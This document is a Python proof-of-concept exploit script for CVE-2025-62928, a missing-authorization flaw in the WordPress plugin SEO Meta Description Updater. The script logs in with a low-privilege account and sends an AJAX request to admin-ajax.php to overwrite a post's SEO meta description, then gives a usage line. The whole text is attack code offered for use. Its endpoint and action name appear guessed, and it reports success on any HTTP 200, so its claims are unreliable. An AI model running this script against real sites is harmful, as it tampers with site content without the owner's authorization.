CVE-2025-62928

# CVE-2025-62928 PoC - SEO Meta Description Updater Broken Access Control # Target: WordPress site with SEO Meta Description Updater plugin <= 1.2.0 # This PoC demonstrates the missing authorization vulnerability import requests import argparse def exploit_cve_2025_62928(target_url, wp_user, wp_password): """ Exploit for Missing Authorization in SEO Meta Description Updater plugin Steps: 1. Authenticate to WordPress with low-privilege account 2. Identify the vulnerable endpoint 3. Send unauthorized request to modify SEO meta descriptions """ session = requests.Session() # Step 1: WordPress Authentication login_url = f"{target_url}/wp-login.php" login_data = { 'log': wp_user, 'pwd': wp_password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } print(f"[*] Authenticating to WordPress as user: {wp_user}") response = session.post(login_url, data=login_data, allow_redirects=False) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Identify vulnerable endpoint # Common endpoints for SEO Meta Description Updater plugin vulnerable_endpoints = [ f"{target_url}/wp-admin/admin-ajax.php", f"{target_url}/wp-json/wp/v2/", ] # Step 3: Send unauthorized request to modify SEO meta data # The plugin lacks capability checks on certain AJAX actions print("[*] Attempting to exploit Missing Authorization vulnerability...") # Example: Modify SEO meta description without proper authorization exploit_data = { 'action': 'seo_meta_description_updater_save', 'post_id': '1', 'meta_description': 'Malicious SEO Meta Description - Injected by Attacker' } exploit_response = session.post(vulnerable_endpoints[0], data=exploit_data) if exploit_response.status_code == 200: print("[+] Exploitation attempt completed") print(f"[*] Response: {exploit_response.text[:200]}") return True if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-62928 PoC') parser.add_argument('-t', '--target', required=True, help='Target WordPress URL') parser.add_argument('-u', '--user', required=True, help='WordPress username') parser.add_argument('-p', '--password', required=True, help='WordPress password') args = parser.parse_args() exploit_cve_2025_62928(args.target, args.user, args.password) # Usage: python cve-2025-62928.py -t http://target.com -u subscriber -p password123

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